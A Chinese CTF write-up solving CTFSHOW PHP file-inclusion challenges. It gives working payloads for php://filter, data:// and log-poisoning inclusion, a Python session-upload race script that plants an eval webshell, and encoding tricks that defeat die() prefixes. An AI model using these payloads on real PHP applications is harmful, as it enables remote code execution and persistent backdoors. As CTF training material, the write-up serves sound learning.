当前位置:首页 » 《资源分享》 » 正文

CTFSHOW-文件包含__Monica_的博客

5 人参与  2021年10月15日 17:43  分类 : 《资源分享》  评论

点击全文阅读


目录​​​​​​​

​​​​​​​​​​​​​​WEB78

WEB79

WEB80

WEB81

WEB82-session文件包含

 WEB83

WEB84

WEB85

WEB86 

WEB87 

WEB88 

WEB116

WEB117


​​​​​​​WEB78

题目:

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

知识点:php伪协议

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

1、php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行

与include连用、当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

phpinput不支持post提交,需要用raw方式

hackbar不支持raw方式

请求的参数格式是原生(raw)的内容

方法1:

直接构造:?file=flag.php ,没有得到想要的结果,可能是被解析了

利用伪协议读取文件

payload:?file=php://filter/convert.base64-encode/resource=flag.php

然后base64解码即可

方法2:

bp抓包,给file传参?file=php://input然后在post输出想要执行的代码

 

WEB79

题目:

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

知识点:str_replace

分析:相对于上一题,$file中的php转换了???即过滤了php,所以php协议不能用了

方法1:大小写绕过(str_replace区分大小写、str_ireplace不区分)

方法2:

data://协议

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码 

payload:?file=data://text/plain,<?= system('tac flag.???');?>
逗号后面是要执行的php代码
或者
payload:?file=data://text/plain;base64,PD89IHN5c3RlbSgndGFjIGZsYWcuPz8/Jyk7Pz4=
逗号后面是要执行的php代码的base64加密形式

注:data://可以用data:代替

WEB80

题目:

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

知识点:日志文件包含,伪造UA写入php代码

日志文件包含

日志文件记录了服务器收到的每一次请求的

IP、访问时间、URL、User-Agent,这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号会自动进行url编码,存到日志当中时,不是一个正确的php语句,无法成功执行,而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志。

访问日志的位置和文件名在不同的系统上会有所差异

apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

分析:php和data都被过滤了 

方法1:继续使用php大小写绕过

 方法2:日志文件包含

nginx和apache的日志文件包含也是一个考点

这个Linux的nginx日志文件路径是/var/log/nginx/access.log,要在用文件包含漏洞读取日志文件的同时,修改ua头为我们想要执行的命令(burp中go要点两次才能执行命令,第一次将代码写入日志,第二次执行代码

且操作一定不能出问题,如果报错就要销毁容器从头再来 

因为php语法错误后不再解释执行后面代码,语法错误后,后面不管语法对不对都不执行了。我们包含了日志文件,如果日志文件中我们插入了错误的php代码,那么我们再次执行对的代码时会先执行那个错误的php代码,因为报错,所以后面正确的就不会执行了。

先写入日志

然后在包含日志、执行代码。 

方法3:远程文件包含

远程文件包含可以包含其他主机上的文件,并当成php代码执行。
要实现远程文件包含的话,php配置的allow_url_include = on必须为on

payload:?file=http://***.***.***.***/1.txt    

1.txt里面写入代码。

WEB81

题目:

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

分析:因为过滤了冒号,所以远程文件包含和大小写绕过不行了,只能用日志包含

WEB82-session文件包含

题目:

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

知识点:

session上传进度

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

利用session.upload_progress进行文件包含和反序列化渗透

分析:过滤了点,所以日志包含也不行了。

PHP里面唯一我们能控制的没有后缀的文件就是session文件

利用PHP_SESSION_UPLOAD_PROGRESS写入session文件加条件竞争达到文件包含的目的

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on(默认开启)
3. session.upload_progress.prefix = "upload_progress_"(默认)
4. session.upload_progress.name = "$PHP_SESSION_UPLOAD_PROGRESS"(默认)

enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容

name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控也就是PHP_SESSION_UPLOAD_PROGRESS的值可控

prefix+name将表示为session中的键名,

方法: 

大体思路为:

1、post一个与ini中设置的session.upload_progress.name的同名变量(默认的name为“PHP_SESSION_UPLOAD_PROGRESS”),那么就会返回上传文件的实时进度并写入session文件中。session文件的内容为:(它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix与 session.upload_progress.name连接在一起的值

2、如果我们post传递PHP_SESSION_UPLOAD_PROGRESS的值为一句话木马

比如为:<?php system('ls');?>

3、同时,我们在cookie里面设置名字:PHPSESSID,值:flag,(目的是设置session文件,因为这样我们才能知道实时进度(一句话木马)上传到哪里了);那么在/tem/sess_flag这个文件的内容就为upload_progress_<?php system('ls')?>。然后在include(/tem/sess_flag)就会执行后面的php代码从而成功执行rce。

4、虽然文件上传结束后,php会清空session文件中的内容,但是如果我们边上传边去访问/tem/sess_aaa进行条件竞争,那么就有可能在删除session文件前访问到这个文件。

我们能够创建session文件的原因:session里有一个默认选项,session.use_strict_mode默认值为off。也就是说此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=aaa,PHP将会在服务器上创建一个文件:/tmp/sess_aaa”。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值。这个键值ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入sess_aaa文件里。

注:在Linux系统中,session文件一般的默认存储位置为

 /var/lib/php/session

/var/lib/php

/var/lib/php/sessions

/tmp/

/tmp/sessions/

本题型一律采用/tmp形式

但是session.upload_progress.cleanup默认是开启的,一旦读取了所有POST数据,它就会清除进度信息,把我们session文件里的内容全部删除。所以这里我们需要利用条件竞争来读取session文件。

bp抓包方法-手动爆破:

1、先构造一个上传文件的页面,对环境上传一个任意的文件,内容也任意,然后抓包。

脚本如下:

<!DOCTYPE html>
<html>
<body>
<form action="http://26bfc8ed-f28a-46ef-94a6-bbff5bb92e6b.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

2、 修改上传文件包

 注意两点:

(1)设置Cookie:PHPSEESSID=flag、这样我们的session就为/tmp/sess_flag

(2)设置同名变量PHP_SESSION_UPLOAD_PROGRESS,设置值为我们想要存入session文件的代码。(把第一步中value=123的改掉即可,这里对123加上§§是为了进行爆破payload用)

3、包含session文件,抓包

这里§a§是为了爆破payload用

4、进行爆破

将两个爆破项目的payload设置如下:

 payload数量可以设置10000次,也可以使用下面的无数次。

设置线程数(这里用了30)

然后一起爆破(先对上传文件包点击attack,在对/tmp/sess_flag文件包含包点击attack,也可以不管顺序,因为爆破次数有很多) 

爆破结果:

 最后将ls改成tac fl0g.php就行 

脚本方法:

脚本:

import requests
import io
import threading

url='http://08d4a04e-19b3-4049-8a81-e9c6226eee2f.challenge.ctf.show:8080/'
#设置PHPSESSID的值
sessionid='ctfshow'     
data={"1":"file_put_contents('/var/www/html/tao.php','<?php eval($_POST[2]);?>');"}


#为了进行条件竞争,需要一边写一边读

#进行上传文件时需要post传递名为PHP_SESSION_UPLOAD_PROGRESS值为一句话木马
def write(session):
	fileBytes = io.BytesIO(b'a'*1024*50)          #生产一个50k的文件
	while True:
		response=session.post(url,
			data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},
			cookies={'PHPSESSID':sessionid},
			files={'file':('ctfshow.jpg',fileBytes)}    #设置文件名字和内容
			)



#读取session文件,这里文件为/tmp/sess_ctfshow

def read(session):
	while True:
		response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data)
		response2=session.get(url+'tao.php');
		if response2.status_code==200:
			print('++++++++++++++++++++')
		else:
			print(response2.status_code)



if __name__=='__main__':

	#开启多线程进行竞争	
	evnet=threading.Event()
	with requests.session() as session:			
		for i in range(20):
			threading.Thread(target=write,args=(session,)).start()
		for i in range(20):
			threading.Thread(target=read,args=(session,)).start()
	evnet.set()

出现+号后然后访问url/tao.php。post传参2=system('tac fl0g.php'); 

其他问题:

include包含文件(不管是不是php文件),如果这个文件里面有php代码是可以执行的。

 

 

 

 WEB83

题目:

Warning: session_destroy(): Trying to destroy uninitialized session
 in /var/www/html/index.php on line 14
<?php
session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    highlight_file(__FILE__);
}

分析:多了两个函数

session_unset():
释放当前在内存中已经创建的所有$_SESSION变量,但不删除session文件以及不释放对应的session_id

session_destroy():
删除当前用户对应的session文件以及释放sessionid,内存中的$_SESSION变量内容依然保留, 也不会重置会话 cookie

 表面上,按道理来说:这两个函数都已经将有关session的东西都删除了,我们是无法进行session文件包含的。但是:我们的脚本或者bp仍然能够进行包含。原因在于多线程竞争的含义​​​​​​​

知识点:

什么是多线程竞争

线程是非独立的,同一个进程里线程是数据共享的,当当各个线程访问数据资源时会出现竞争状态即:

数据几乎同步会被多个线程占用,造成数据混乱,即所谓的线程不安全 。

这样,因为在执行session_unset()与执行session_destroy()的时候有间隔,他们与include($file)直接也会有间隔,我们其中的一个线程在删除session文件,而另一个线程刚刚又创建了一个session文件,然后前面的线程又开始包含,那么还是能够正常包含。

怎么解决多线程竞争问题?---锁

锁的好处: 确保了某段关键代码(共享数据资源)只能由一个线程从头到尾完整地执行能解决多线程资 源竞争下的原子操作问题。

锁的坏处: 阻止了多线程并发执行,包含锁的某段代码实际上只能以单线程模式执行,效率就大大地下 降了

锁的致命问题: 死锁 

方法:

还是web82的方法、同样的道理:多线程竞争理解

WEB84

题目:

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

system 这句话会删除/tem/下面的所有文件,且不能恢复

-f:强制删除文件或目录;
-r或-R:递归处理,将指定目录下的所有文件与子目录一并处理;

还是web82的方法、同样的道理:多线程竞争理解 

WEB85

题目:

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }
    
}else{
    highlight_file(__FILE__);
}

知识点:

file_exists — 检查文件或目录是否存在,如果由指定的文件或目录存在则返回 true,否则返回 false

file_get_contents — 将整个文件读入一个字符串,函数返回读取到的数据, 或者在失败时返回 false

strpos — 查找字符串首次出现的位置,返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。如果没找到 needle,将返回 false

方法:

还是web82的方法、同样的道理:多线程竞争理解

原因是:

session.upload_progress.cleanup = on(默认开启)

cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容

我们在设置session文件后,被删除了,但是一个线程刚好进行if判断,文件存在,且文件内容为空,那么就会准备执行include,同时另一个线程刚好设置了完整的session文件,那么就会被包含进去。

WEB86 

题目:

<?php

define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);

    
}else{
    highlight_file(__FILE__);
}

知识点:

define — 定义一个常量

dirname:返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点('.'),表示当前目录。否则返回的是把 path 中结尾的/component(最后一个斜线以及后面部分)去掉之后的字符串。

set_include_path — 设置include函数中 include_path 配置选项,成功时返回旧的 include_path或者在失败时返回 false

include

被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path指定的目录寻找。如果在 include_path下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和require 不同,后者会发出一个致命错误。

如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。

方法:

还是web82的方法、同样的道理:多线程竞争理解

 因为设置了目录/tmp/sess_flag,所以set_include_path对我们的脚本没有用。

WEB87 

题目:

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

知识点:

谈一谈php://filter的妙用​​​​​​​

file_put_content和死亡·杂糅代码之缘

 file_put_contents — 将一个字符串写入文件

通常一个字符是一个字节,但是根据编码不同,一个字符也可能等于两个或者三个字符。

ASCII码:
  一个英文字母(不分大小写)占一个字节的空间,一个中文汉字占两个字节的空间。

UTF-8编码:
  一个英文字符等于一个字节,一个中文(含繁体)等于三个字节。

Unicode编码:
  一个英文等于两个字节,一个中文(含繁体)等于两个字节。
  符号:
  英文标点占一个字节,中文标点占两个字节。举例:英文句号“.”占1个字节的大小,中文句号“。”占2个字节的大小。

base64编解码

 base64转换后的字符串的数量肯定是4的倍数, 不足4的末尾补‘=’

分析:

向文件输入内容的时候会在开头写入死亡函数,从而导致直接结束代码的执行,我们要做的就是绕过这个死亡函数。

编码时,转换成Base64的最小单位就是3个字节

解码时,4个字节为一组;PHP在解码base64时,遇到不在其中的字符时,将会忽略这些字符,仅将合法字符组成一个新的字符串进行解码(Base64的字符选用了"A-Z、a-z、0-9、+、/" 64个可打印字符)所以,通过base64解码过滤之后就只有 phpdie6  个字符我们就要添加2个字符让phpdie和我们增加的两个字符组合起来进行解码。即可抹掉死亡函数。

其次:因为filename那里需要urldecode,而get传参的时候会进行一次urldecode,所以我们的filename需要两次urlencode。?file=php://filter/write=convert.base64-decode/resource=1.php这里需要进行url全编码,不然php会被过滤掉。

 将<?php eval($_POST[1]);?>进行base64编码为:PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
注意如果直接传入content,这里的+会被当做空格处理,所以在base64解码的时候就会忽略空格,自动在后面加上一个=:即PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8=

解码后:<?php eval($_POST[1]);?    这样传进去就会报错

解决方法:将+进行urlencode

方法1:

payload:?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30

//即?file=php://filter/write=convert.base64-decode/resource=1.php
//对写的内容进行base64编码。

post:content=aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B
//<?php eval($_POST[1]);?>
//这里加上两个a是为两和phpdie组成8个字符进行解码。

最后访问1.php、post输入system('tac fl0g.php');即可 

 ps:strip_tags在php7.3.0以上的环境下会发生段错误,从而导致无法写入,但是在php5的环境下则不受此影响

方法2: 

利用rot13编码

条件:在PHP不开启short_open_tag(短标签)时

payload:
?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30

//?file=php://filter/write=string.rot13/resource=3.php
//对写的内容进行rot13编码。

content=<?cuc riny($_CBFG[1]);?>

//<?php eval($_POST[1]);?>
//rot13两次解码后会变成原来的样子。所以我们将传入的content进行一次rot13编码,然后在写入3.php的时候在进行rot13编码,那么写入文件的时候就会写入<?php eval($_POST[1]);?>。
//而<?php die('大佬别秀了');?>只会进行一次rot13编码,写入文件的时候就不是一个正常的php代码格式。

WEB88 

题目:

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

分析:

这里没有过滤data且没有过滤:。所以我们可以使用data协议

方法:

payload:
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ21vbmljYSddKTs/Pnh4
post:monica=system('tac f*');

//?file=data://text/plain;base64,<?php eval($_POST['monica']);?>xx
这里在后面添加两个xx是为了不让后面的php代码base64加密之后出现=,有几个=就加几个字符(其实也可以直接将=删除,因为base64在解码的时候会自动删除=)。如果加密后出现出现+就只能换一个php代码。

WEB116

一道misc加简单的文件包含

方法:下载视频,用binwalk打开(或者010editor),foremost分离,发现图片,提取源码,传参?file=flag.php,再下载视频用winhex打开即可(或者传参后用bp抓包)

WEB117

题目:

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

分析:没有过滤php,那么我们就可以通过php://filter/write来写入文件,然后通过编码绕过死亡函数,因为这里过滤了base64和rot13,string,所以得用其他的编码。

知识点:

用ucs-2编码

更多编码方式

convert.iconv.

这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。 然而 我们可以留意到 iconv — 字符串按要求的字符编码来转换;;其用法:iconv ( string $in_charset , string $out_charset , string $str ) : string 将字符串 str 从 in_charset 转换编码到 out_charset。 就其功能而论,有点类似于base_convert的功效一样,只不过二者还是有作用的区别,只是都是涉及编码转换的问题而已;(可以类比);由此记得国赛的一道love_math的题目,有了base_convert之后就可以尽情的转换从而getshell;

那么我们就可以借用此过滤器,从而进行编码的转换,写入我们需要的代码,然后转换掉死亡代码,其实本质上来说也是利用了编码的转换;

 方法:


payload:
get: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=monica.php
post:contents=?<hp pvela$(P_SO[T]1;)>?

//ucs大小写都行

然后访问monica.php 
post:1=system('tac f*');


//原理和rot13一样,两次转换后变成了原来的样子
echo iconv("UCS-2LE","UCS-2BE",'<?php die();?>?<hp pvela$(P_SO[T]1;)>?');

输出如下,使得die失效,并且我们的一句话木马可以使用
?<hp pid(e;)>?<?php eval($_POST[1]);?>


点击全文阅读


本文链接:http://zhangshiyu.com/post/29917.html

文件  包含  执行  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1